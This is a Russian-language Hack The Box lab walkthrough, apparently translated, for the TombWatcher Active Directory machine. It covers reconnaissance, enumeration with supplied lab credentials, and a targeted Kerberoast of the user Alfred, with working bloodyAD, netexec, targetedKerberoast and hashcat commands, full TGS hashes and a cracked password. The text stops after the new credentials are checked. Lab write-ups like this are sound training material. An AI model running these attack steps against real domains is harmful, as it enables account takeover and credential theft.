Найти в Дзене
Life-Hack - Хакер

HTB: TombWatcher

Машина представляет собой симуляцию тестирования на проникновние среды active directory. Для достижения своей цели я воспользуюсь инструментом BloodHound, проведу целевой Kerberoasting, проэксплуатирую GMSA, принудительное изменение пароля (ForceChangePassword) и shadow credential. Далее я восстановлю старую учетную запись администратора службы сертификации AD CS из Active Directory Recycle Bin и воспользуюсь данной учетной записью для повышения привилегий через ESC15. Разведка. Первичное сканирование Nmap обнаружил 21 открытый TCP-порт: oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.72 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-11 18:48 UTC Nmap scan report for 10.10.11.72 Host is up (0.092s latency). Not shown: 65514 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593
Оглавление

Машина представляет собой симуляцию тестирования на проникновние среды active directory. Для достижения своей цели я воспользуюсь инструментом BloodHound, проведу целевой Kerberoasting, проэксплуатирую GMSA, принудительное изменение пароля (ForceChangePassword) и shadow credential. Далее я восстановлю старую учетную запись администратора службы сертификации AD CS из Active Directory Recycle Bin и воспользуюсь данной учетной записью для повышения привилегий через ESC15.

Разведка. Первичное сканирование

Nmap обнаружил 21 открытый TCP-порт:

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.72

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-11 18:48 UTC

Nmap scan report for 10.10.11.72

Host is up (0.092s latency).

Not shown: 65514 filtered tcp ports (no-response)

PORT STATE SERVICE

53/tcp open domain

80/tcp open http

88/tcp open kerberos-sec

135/tcp open msrpc

139/tcp open netbios-ssn

389/tcp open ldap

445/tcp open microsoft-ds

464/tcp open kpasswd5

593/tcp open http-rpc-epmap

636/tcp open ldapssl

3268/tcp open globalcatLDAP

3269/tcp open globalcatLDAPssl

5985/tcp open wsman

9389/tcp open adws

49667/tcp open unknown

49683/tcp open unknown

49684/tcp open unknown

49685/tcp open unknown

49701/tcp open unknown

49707/tcp open unknown

49726/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 13.52 seconds

oxdf@hacky$ nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sCV 10.10.11.72

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-11 18:50 UTC

Nmap scan report for 10.10.11.72

Host is up (0.091s latency).

PORT STATE SERVICE VERSION

53/tcp open domain Simple DNS Plus

80/tcp open http Microsoft IIS httpd 10.0

|_http-server-header: Microsoft-IIS/10.0

|_http-title: IIS Windows Server

| http-methods:

|_ Potentially risky methods: TRACE

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-11 22:53:05Z)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)

|_ssl-date: 2025-06-11T22:54:37+00:00; +4h02m52s from scanner time.

| ssl-cert: Subject: commonName=DC01.tombwatcher.htb

| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb

| Not valid before: 2024-11-16T00:47:59

|_Not valid after: 2025-11-16T00:47:59

445/tcp open microsoft-ds?

464/tcp open kpasswd5?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)

|_ssl-date: 2025-06-11T22:54:37+00:00; +4h02m52s from scanner time.

| ssl-cert: Subject: commonName=DC01.tombwatcher.htb

| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb

| Not valid before: 2024-11-16T00:47:59

|_Not valid after: 2025-11-16T00:47:59

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)

|_ssl-date: 2025-06-11T22:54:37+00:00; +4h02m52s from scanner time.

| ssl-cert: Subject: commonName=DC01.tombwatcher.htb

| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb

| Not valid before: 2024-11-16T00:47:59

|_Not valid after: 2025-11-16T00:47:59

3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)

|_ssl-date: 2025-06-11T22:54:37+00:00; +4h02m52s from scanner time.

| ssl-cert: Subject: commonName=DC01.tombwatcher.htb

| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb

| Not valid before: 2024-11-16T00:47:59

|_Not valid after: 2025-11-16T00:47:59

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Not Found

9389/tcp open mc-nmf .NET Message Framing

Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

|_clock-skew: mean: 4h02m52s, deviation: 0s, median: 4h02m51s

| smb2-time:

| date: 2025-06-11T22:53:54

|_ start_date: N/A

| smb2-security-mode:

| 3:1:1:

|_ Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 99.78 seconds

Большое количество открытых портов — характерно для контроллера домена. Доменное имя — tombwatcher.htb, а имя хоста — DC01.

Есть веб-сервер, а также служба WinRM, которую можно использовать при наличии учетных данных.

Воспользуемся netexec для формирования списка хостов (hosts):

oxdf@hacky$ netexec smb 10.10.11.72 --generate-hosts-file hosts

SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)

oxdf@hacky$ cat hosts

10.10.11.72 DC01.tombwatcher.htb tombwatcher.htb DC01

oxdf@hacky$ cat hosts /etc/hosts | sudo sponge /etc/hosts

Учетные данные

Платформа HackTheBox предоставляет следующий сценарий для задания TombWatcher:

«Подобно реальной практике тестирования на проникновение в среде Windows, начните работу с TombWatcher, со следующими учетными данными: henry/H3nry_987TGV!»

Учетные данные подходят.

oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!'

SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)

SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!

Они также подходят для аутентификации через LDAP, однако не для WinRM (что вполне ожидаемо).

oxdf@hacky$ netexec ldap DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!'

LDAP 10.10.11.72 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never)

LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!

oxdf@hacky$ netexec winrm DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!'

WINRM 10.10.11.72 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)

WINRM 10.10.11.72 5985 DC01 [-] tombwatcher.htb\henry:H3nry_987TGV!

Исходя из этого, займемся:

- Веб-приложением

- Общими SMB папками

- Анализом сети с помощью Bloodhound

- Сервером сертификатов ADCS

Веб-сайт — TCP 80

Сайт отображает стандартную страницу сервера IIS:

-2

HTTP-заголовки показывают, что сайт работает на платформе ASP.NET.

HTTP/1.1 200 OK

Content-Type: text/html

Last-Modified: Sat, 16 Nov 2024 00:57:03 GMT

Accept-Ranges: bytes

ETag: "76e68173c237db1:0"

Server: Microsoft-IIS/10.0

X-Powered-By: ASP.NET

Date: Wed, 11 Jun 2025 23:05:20 GMT

Content-Length: 703

Страница 404 является стандартной страницей IIS.

-3

Запустим feroxbuster для перебора директорий сайта:

oxdf@hacky$ feroxbuster -u http://10.10.11.72

___ ___ __ __ __ __ __ ___

|__ |__ |__) |__) | / ` / \ \_/ | | \ |__

| |___ | \ | \ | \__, \__/ / \ | |__/ |___

by Ben "epi" Risher 🤓 ver: 2.11.0

───────────────────────────┬──────────────────────

🎯 Target Url │ http://10.10.11.72

🚀 Threads │ 50

📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

👌 Status Codes │ All Status Codes!

💥 Timeout (secs) │ 7

🦡 User-Agent │ feroxbuster/2.11.0

🔎 Extract Links │ true

🏁 HTTP methods │ [GET]

🔃 Recursion Depth │ 4

───────────────────────────┴──────────────────────

🏁 Press [ENTER] to use the Scan Management Menu™

──────────────────────────────────────────────────

404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter

301 GET 2l 10w 156c http://10.10.11.72/aspnet_client => http://10.10.11.72/aspnet_client/

200 GET 334l 2089w 180418c http://10.10.11.72/iisstart.png

200 GET 32l 55w 703c http://10.10.11.72/

404 GET 40l 156w 1888c http://10.10.11.72/con

404 GET 40l 156w 1902c http://10.10.11.72/aspnet_client/con

301 GET 2l 10w 156c http://10.10.11.72/Aspnet_client => http://10.10.11.72/Aspnet_client/

301 GET 2l 10w 156c http://10.10.11.72/aspnet_Client => http://10.10.11.72/aspnet_Client/

404 GET 40l 156w 1888c http://10.10.11.72/aux

404 GET 40l 156w 1902c http://10.10.11.72/aspnet_client/aux

404 GET 40l 156w 1902c http://10.10.11.72/Aspnet_client/con

301 GET 2l 10w 167c http://10.10.11.72/aspnet_client/system_web => http://10.10.11.72/aspnet_client/system_web/

404 GET 40l 156w 1902c http://10.10.11.72/aspnet_Client/con

404 GET 40l 156w 1902c http://10.10.11.72/Aspnet_client/aux

301 GET 2l 10w 156c http://10.10.11.72/ASPNET_CLIENT => http://10.10.11.72/ASPNET_CLIENT/

404 GET 40l 156w 1913c http://10.10.11.72/aspnet_client/system_web/con

301 GET 2l 10w 167c http://10.10.11.72/Aspnet_client/system_web => http://10.10.11.72/Aspnet_client/system_web/

404 GET 40l 156w 1902c http://10.10.11.72/aspnet_Client/aux

400 GET 6l 26w 324c http://10.10.11.72/error%1F_log

400 GET 6l 26w 324c http://10.10.11.72/aspnet_client/error%1F_log

404 GET 40l 156w 1902c http://10.10.11.72/ASPNET_CLIENT/con

301 GET 2l 10w 167c http://10.10.11.72/aspnet_Client/system_web => http://10.10.11.72/aspnet_Client/system_web/

404 GET 40l 156w 1888c http://10.10.11.72/prn

404 GET 40l 156w 1913c http://10.10.11.72/aspnet_client/system_web/aux

404 GET 40l 156w 1902c http://10.10.11.72/aspnet_client/prn

404 GET 40l 156w 1913c http://10.10.11.72/Aspnet_client/system_web/con

400 GET 6l 26w 324c http://10.10.11.72/Aspnet_client/error%1F_log

404 GET 40l 156w 1902c http://10.10.11.72/ASPNET_CLIENT/aux

404 GET 40l 156w 1913c http://10.10.11.72/aspnet_Client/system_web/con

404 GET 40l 156w 1913c http://10.10.11.72/Aspnet_client/system_web/aux

404 GET 40l 156w 1902c http://10.10.11.72/Aspnet_client/prn

400 GET 6l 26w 324c http://10.10.11.72/aspnet_Client/error%1F_log

301 GET 2l 10w 167c http://10.10.11.72/ASPNET_CLIENT/system_web => http://10.10.11.72/ASPNET_CLIENT/system_web/

404 GET 40l 156w 1913c http://10.10.11.72/aspnet_Client/system_web/aux

404 GET 40l 156w 1902c http://10.10.11.72/aspnet_Client/prn

400 GET 6l 26w 324c http://10.10.11.72/aspnet_client/system_web/error%1F_log

404 GET 40l 156w 1913c http://10.10.11.72/ASPNET_CLIENT/system_web/con

404 GET 40l 156w 1913c http://10.10.11.72/aspnet_client/system_web/prn

400 GET 6l 26w 324c http://10.10.11.72/ASPNET_CLIENT/error%1F_log

400 GET 6l 26w 324c http://10.10.11.72/Aspnet_client/system_web/error%1F_log

404 GET 40l 156w 1913c http://10.10.11.72/ASPNET_CLIENT/system_web/aux

404 GET 40l 156w 1902c http://10.10.11.72/ASPNET_CLIENT/prn

404 GET 40l 156w 1913c http://10.10.11.72/Aspnet_client/system_web/prn

400 GET 6l 26w 324c http://10.10.11.72/aspnet_Client/system_web/error%1F_log

404 GET 40l 156w 1913c http://10.10.11.72/aspnet_Client/system_web/prn

400 GET 6l 26w 324c http://10.10.11.72/ASPNET_CLIENT/system_web/error%1F_log

404 GET 40l 156w 1913c http://10.10.11.72/ASPNET_CLIENT/system_web/prn

[####################] - 3m 270027/270027 0s found:46 errors:0

[####################] - 2m 30000/30000 295/s http://10.10.11.72/

[####################] - 2m 30000/30000 294/s http://10.10.11.72/aspnet_client/

[####################] - 2m 30000/30000 261/s http://10.10.11.72/Aspnet_client/

[####################] - 2m 30000/30000 248/s http://10.10.11.72/aspnet_Client/

[####################] - 2m 30000/30000 243/s http://10.10.11.72/aspnet_client/system_web/

[####################] - 2m 30000/30000 254/s http://10.10.11.72/ASPNET_CLIENT/

[####################] - 2m 30000/30000 261/s http://10.10.11.72/Aspnet_client/system_web/

[####################] - 2m 30000/30000 305/s http://10.10.11.72/aspnet_Client/system_web/

[####################] - 74s 30000/30000 405/s http://10.10.11.72/ASPNET_CLIENT/system_web/

Ничего интересного.

SMB — TCP 445

Список SMB шар соответствует дефолтному для контроллеров домена:

oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' --shares

SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)

SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!

SMB 10.10.11.72 445 DC01 [*] Enumerated shares

SMB 10.10.11.72 445 DC01 Share Permissions Remark

SMB 10.10.11.72 445 DC01 ----- ----------- ------

SMB 10.10.11.72 445 DC01 ADMIN$ Remote Admin

SMB 10.10.11.72 445 DC01 C$ Default share

SMB 10.10.11.72 445 DC01 IPC$ READ Remote IPC

SMB 10.10.11.72 445 DC01 NETLOGON READ Logon server share

SMB 10.10.11.72 445 DC01 SYSVOL READ Logon server share

Там отсутствуют интересные файлы.

Есть четыре нестандартных пользователя:

oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' --users

SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)

SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!

SMB 10.10.11.72 445 DC01 -Username- -Last PW Set- -BadPW- -Description-

SMB 10.10.11.72 445 DC01 Administrator 2025-04-25 14:56:03 0 Built-in account for administering the computer/domain

SMB 10.10.11.72 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain

SMB 10.10.11.72 445 DC01 krbtgt 2024-11-16 00:02:28 0 Key Distribution Center Service Account

SMB 10.10.11.72 445 DC01 Henry 2025-05-12 15:17:03 0

SMB 10.10.11.72 445 DC01 Alfred 2025-05-12 15:17:03 0

SMB 10.10.11.72 445 DC01 sam 2025-05-12 15:17:03 0

SMB 10.10.11.72 445 DC01 john 2025-05-19 13:25:10 0

SMB 10.10.11.72 445 DC01 [*] Enumerated 7 local users: TOMBWATCHER

Bloodhound. Сбор данных

Соберем данные для анализа в Bloodhound с использованием инструмента RustHound-CE (для установки необходимо выполнить команду cargo install rusthound-ce. Чтобы всё заработало, пришлось дополнительно установить пакеты командой sudo apt install build-essential libkrb5-dev libclang-dev).

Версия на Rust умеет собирать данные о службе сертификатов ADCS (версия на Python, на момент выпуска TombWatcher, такую функциональность не поддерживает).

oxdf@hacky$ rusthound-ce -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --zip -c All

---------------------------------------------------

Initializing RustHound-CE at 19:19:01 on 06/11/25

Powered by @g0h4n_0

Special thanks to NH-RED-TEAM

---------------------------------------------------

[2025-06-11T19:19:01Z INFO rusthound_ce] Verbosity level: Info

[2025-06-11T19:19:01Z INFO rusthound_ce] Collection method: All

[2025-06-11T19:19:01Z INFO rusthound_ce::ldap] Connected to TOMBWATCHER.HTB Active Directory!

[2025-06-11T19:19:01Z INFO rusthound_ce::ldap] Starting data collection...

[2025-06-11T19:19:01Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)

[2025-06-11T19:19:02Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=tombwatcher,DC=htb

[2025-06-11T19:19:02Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)

[2025-06-11T19:19:03Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=tombwatcher,DC=htb

[2025-06-11T19:19:03Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)

[2025-06-11T19:19:05Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=tombwatcher,DC=htb

[2025-06-11T19:19:05Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)

[2025-06-11T19:19:05Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=tombwatcher,DC=htb

[2025-06-11T19:19:05Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)

[2025-06-11T19:19:05Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=tombwatcher,DC=htb

[2025-06-11T19:19:05Z INFO rusthound_ce::json::parser] Starting the LDAP objects parsing...

[2025-06-11T19:19:05Z INFO rusthound_ce::objects::domain] MachineAccountQuota: 10

⢀ Parsing LDAP objects: 1%

[2025-06-11T19:19:05Z INFO rusthound_ce::objects::enterpriseca] Found 11 enabled certificate templates

[2025-06-11T19:19:05Z INFO rusthound_ce::json::parser] Parsing LDAP objects finished!

[2025-06-11T19:19:05Z INFO rusthound_ce::json::checker] Starting checker to replace some values...

[2025-06-11T19:19:05Z INFO rusthound_ce::json::checker] Checking and replacing some values finished!

[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 9 users parsed!

[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 61 groups parsed!

[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 1 computers parsed!

[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 2 ous parsed!

[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 3 domains parsed!

[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 2 gpos parsed!

[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 74 containers parsed!

[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 1 ntauthstores parsed!

[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 1 aiacas parsed!

[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 1 rootcas parsed!

[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 1 enterprisecas parsed!

[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 33 certtemplates parsed!

[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] 3 issuancepolicies parsed!

[2025-06-11T19:19:05Z INFO rusthound_ce::json::maker::common] .//20250611191905_tombwatcher-htb_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 19:19:05 on 06/11/25! Happy Graphing!

Дополнительно соберем данные с помощью версии на Python, потому что на момент выхода TombWatcher версия RustHound-CE пропускает некоторые важные моменты.

oxdf@hacky$ bloodhound-ce-python -c all -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --zip -ns 10.10.11.72

INFO: BloodHound.py for BloodHound Community Edition

INFO: Found AD domain: tombwatcher.htb

INFO: Getting TGT for user

INFO: Connecting to LDAP server: dc01.tombwatcher.htb

INFO: Found 1 domains

INFO: Found 1 domains in the forest

INFO: Found 1 computers

INFO: Connecting to LDAP server: dc01.tombwatcher.htb

INFO: Found 9 users

INFO: Found 53 groups

INFO: Found 2 gpos

INFO: Found 2 ous

INFO: Found 19 containers

INFO: Found 0 trusts

INFO: Starting computer enumeration with 10 workers

INFO: Querying computer: DC01.tombwatcher.htb

INFO: Done in 00M 17S

INFO: Compressing output into 20250612010529_bloodhound.zip

Дублирующиеся записи проигнорируются, а общая картина получится наиболее полной.

Анализ

Запускаем контейнер с Bloodhound Community Edition и загружаем собранные данные.

Сначала найдем и отметим захваченного пользователя Henry. После этого изучим исходящие связи (Outbound Control).

-4

Есть информация о сервисе ADCS, но она выглядит не особо интересной. Пользователь Henry также имеет право записи SPN для пользователя Alfred.

Заглянув немного вперед и проанализировав связи, можно обнаружить путь от пользователя Henry к пользователю John, чем мы воспользуемся дальше.

-5

Аутентификация от имени Alfred. Targeted Kerberoast

Цель атаки Kerberoast заключается в поиске уязвимых аккаунтов, имеющих привязанное имя сервиса (Service Principal Name, SPN). Любой пользователь, прошедший проверку подлинности, способен запросить служебный билет (Ticket Granting Service, TGS) для аккаунта с таким именем. Билет шифруется паролем сервисного аккаунта, и если этот пароль недостаточно надежен, злоумышленники могут попытаться взломать его, используя инструменты вроде Hashcat.

При целевом Kerberoaste атакующий самостоятельно добавляет SPN к аккаунту жертвы, проводит атаку и затем удаляет SPN, оставаясь незамеченным.

Таким образом, даже обычный аккаунт пользователя, например, Alfred, можно сделать объектом подобной атаки, если имеется разрешение на изменение SPN.

Выполнить такую операцию возможно с использованием специализированных утилит, например, BloodyAD и NetExec.

oxdf@hacky$ bloodyAD -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --host dc01.tombwatcher.htb set object alfred servicePrincipalName -v 'http/whatever'

[+] alfred's servicePrincipalName has been updated

Теперь NetExec позволяет извлечь хэш:

oxdf@hacky$ netexec ldap dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' -k --kerberoasting kerberoasting.hashes

LDAP dc01.tombwatcher.htb 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never)

LDAP dc01.tombwatcher.htb 389 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!

LDAP dc01.tombwatcher.htb 389 DC01 [*] Skipping disabled account: krbtgt

LDAP dc01.tombwatcher.htb 389 DC01 [*] Total of records returned 1

LDAP dc01.tombwatcher.htb 389 DC01 [*] sAMAccountName: Alfred, memberOf: [], pwdLastSet: 2025-05-12 15:17:03.526670, lastLogon: <never>

LDAP dc01.tombwatcher.htb 389 DC01 $krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb\Alfred*$84c9e7e58da58ff7ccc1d1257375d948$ba7d7185fd61fb68954298b7d04783b8991e4ab3ece93bdddee0cc57eb532484d75b3168abc71e93be29187f8a2fafc104c804995e3426538d6fa517d901c8bf0074bdd88717e92378eeafc65fe4971d1dc3aaa309655d41ad069723d1908de9b20265504c6f61350516c7c77b28046a47df87e4b514698b3f0b8a6113f227f3ea120f04253a5f12895c45e25c36803c8479780a30ae37c2311dc3357c218b9f15a655f2484afb64758929deca9171a44cec189398b9b5abf289bf92761968925c117d3b8260ccb4ec4d90b85403c16f80c5e705ac6dd12a001536dc21454a7a1fd391d45a8f9ad3e534a5a9782701caf1ccc8c38bc1a69978330dd10e32485b655abaebb257b7562c0caeea21f351dcab4bed8f775ff4115006bf3055e54074a1723412d0e5b89f2783dfc861335f7b732661cd9a1a95bd2fbf641b2612c049144be1dae76d46c4e7ba58ebaf925e0c6d6f0e45444f2d539d180e86f673a9af00dc03672e943c06433a6d8589061555f4295db586a264542e0b046b081546a5389e634390167205fb7e548748f5f0e5d334f94684b2e1ded014b0322b63052389de6edc8dc49be49571f068873fc4c3b1ca9fe92d27c0c5330d35bb148c0c3c1cab4bc367220025bcccd672425b8a473a31631452beb3e1ca6f25335f4ffc596a3bef3a23fed6e08d7dd5a8bbf5812d9f92541b423d5bfdfae61e918020ce92b26b87c599840907e2c3c3a24caadde29e48b83d62fc4ee968646b62b01e7689eeadd08bb32c5e7c77390866f687c206898bb6cea0e5f9a3b97deefee542dc2eac7f2f4a70d35d3da1a07071955de9723d79499df36fad712a2f976937006efd36a7800cb6546ac7e5e376dcf29402eceaa0f143dc885139162451950f22a2cd3377ffc99609c258054384d3126882a66933868545fac3c78129bf14ce19ab8098e3026eed70e84e021c2aaa1708bc8cedb48656e443f09aa47882fc57cc4bda2a5f9895a71a4c79320f4bec0d75d20ec4a218627207949a57cfd22fa4a0c950fe5693fc2bbc3a91acd127f1051df93a5d74becf6d2859b94b59f38e096a144c6790a87441cf1395a6d4165dc34f7879d683d1d8b4e1875c8be2db39f08018a2ceb454ac1b05ef5484baa7645d5f7d8351d48d8b73ebe9fc3fd6aa5efa9cef0aea2d31417d0364c3763e792e93cbb64c14818770a30b5574073e2929ddcacbdb1a48f28966c6aa951b1d2d0d618fef5078dda19a901b126a5c888b9554218f96328586119baca5d41ecdf53916aca20d41be3c1bca1ed90cb594d3f5b9c6523121ea8db140af7a6375c0dc4c6c94785f90c553a2bb38b9ec197042cd4e90df20796eabaca57cc665a1be5b78522a5dec362499bdfd38503403175b8e170870427dbe9088faf5b88573aff0240e381ddf6ff7ebed124d7f85c9c77488ab9353b2866698ea6c497fcb8e60c7f08a4d5bcbb8cb354843

Можно очистить SPN, установив его значение пустым (хотя существует также скрипт очистки, выполняющий аналогичную задачу):

oxdf@hacky$ bloodyAD -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --host dc01.tombwatcher.htb set object alfred servicePrincipalName

[+] alfred's servicePrincipalName has been updated

Вот вариант с использованием targetedKerberoast.py:

oxdf@hacky$ targetedKerberoast.py -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' -f hashcat --dc-host dc01.tombwatcher.htb

[*] Starting kerberoast attacks

[*] Fetching usernames from Active Directory with LDAP

[+] Printing hash for (Alfred)

$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$99bbe5e5c062623bcfdc5751b129baa2$9c77d45777f1a435dd054207ec71d00595e558696c0cbc361b573cb2581fa7165fb4e062c7c020ec5e7166919600c4ca9ab7dbe3f12072051fac107862035922c0753a0a35e3f9f03076b5edc1265e6ab0f3387225db79f3745f27d492d58ace553af9f41057a85c153b86da12a1a4e98d65fc23d0bc8fff0e5e1902b4d7f63886d0e52bee205ff14a9d0f2efc73a7cd06ac41105400ce90ef36fd6a1ca8fa2c2baf0e5901a5cc716692b4bf15e68c805fe545e6c13cc5700fee0b4d19312239871d0bc1ac6b1cd4487d93a36146777479731d0c6f040f4db9fdd8e271fc3d89924597950fb1eed7857cf6365169b6e8d398248fb2cf2f4a042eb710ad2a0da81145d0d01320223697cb928768dcd8d3a849605c489620634c9aa5c1002248e6c320d3957511cffa3212a7f208712c88b5c73d103a4fb612d320b2d0cc5672a44d83248d740e949524d4d8ab38574b4cdd95adefd24380417832cb7c8468015d59c5e4d46f34af6b4d2367b02025b6f9854a7f2ab506cde1d138e77550fc8dbb1215975062047ab6c3d8a2b71d69b37b1bf592a01d52f70f7f726234a5df25e0e636a0746d1ac7397fc9441dec1ced01d77ffade018e0b4d0d577d88a9e6e86b0a9f3bd04f20866e0a3a8d273d71324510a3df35a083f3ef4dc6ca25e642f7eb7d0e1a8e765f7b743bdf1be7ecc95532ea46b5041b5823727736346f61860d5986c7a3bc2efcb5dcd68a23fea4586cafe0327d71c96fe6807e5e872fe49cdb899543e0b393a7ed22404be8a12a8743aa75583893b446db2cea44a0e02c690c12c3addbfa8665b22cb67acbfa2ac559a828afce91b2d70f3b2e6772656d03a203171083cfef7105ac4a57cfd5ca503ef4d895aeffb98372c77740e2894b503307b369b6b8c49fedea9967c07ef2202a3b8730f192fa008b59cd4ed1cb1ba0d72da7d0fcc992f5ec605e3795056417baf7dd5520d14282cb95eeffc179223a492102e175f585928a2159a661a808028bba0c6f4ba49e3e845d6ae2569b7e24c0e9e65af3c39bfff7a0201182f9b44eaaadc53e6f81b976b76bea11f84317d9a27b04c59b2fdc944a6f5c67804d88407115909aa9d89c699babd44289708dd89bffa7fb8b0a3fd910cbd5df96f7c9f939f255f89ad08fe35033717c5c66e289c77ec89c384b76d8106060535eea0f652c5c2d3ce293815dad5e36aab4e6c785e0344d497fd7b9a1c94337925a0e41efb80eb688f27820bff32d6a7bfe59316726ec61273f833e6e7cb26b3e3128426b6f1babf8ce6356aa08d62ca9cff28ae280b695ac351bed9f4a01ff3117b197dba1e34f76a90b79e13db76527beb95c60fd21bc0fcc309dddde8db253b0e926fc0f97a63f50390ad2a324c7fe60a83977f9aef573e650401147ec1ebc96760f36ba9aa3a9559b71ab1fd1141c6e8e4eecae14a1626d9cf63074737fc06d8a9a45efa7434663323b

Этот сценарий автоматически добавляет SPN, извлекает хэш и удаляет SPN.

Далее сохраним полученный хэш в файл (они будут различаться, так как представляют собой не сам хэш, а зашифрованный ответ на челлендж) и отправим его в Hashcat:

$ hashcat alfred.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

hashcat (v6.2.6) starting in autodetect mode

...[snip]...

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.

The following mode was auto-detected as the only one matching your input hash:

13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol

...[snip]...

$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$99bbe5...[snip]...4663323b:basketball

...[snip]...

Хэш успешно подобран всего за несколько секунд — пароль оказался "basketball".

Проверка УЗ

Проверяем полученные учетные данные — они действительно работают.

oxdf@hacky$ netexec smb dc01.tombwatcher.htb -u alfred -p basketball

SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)

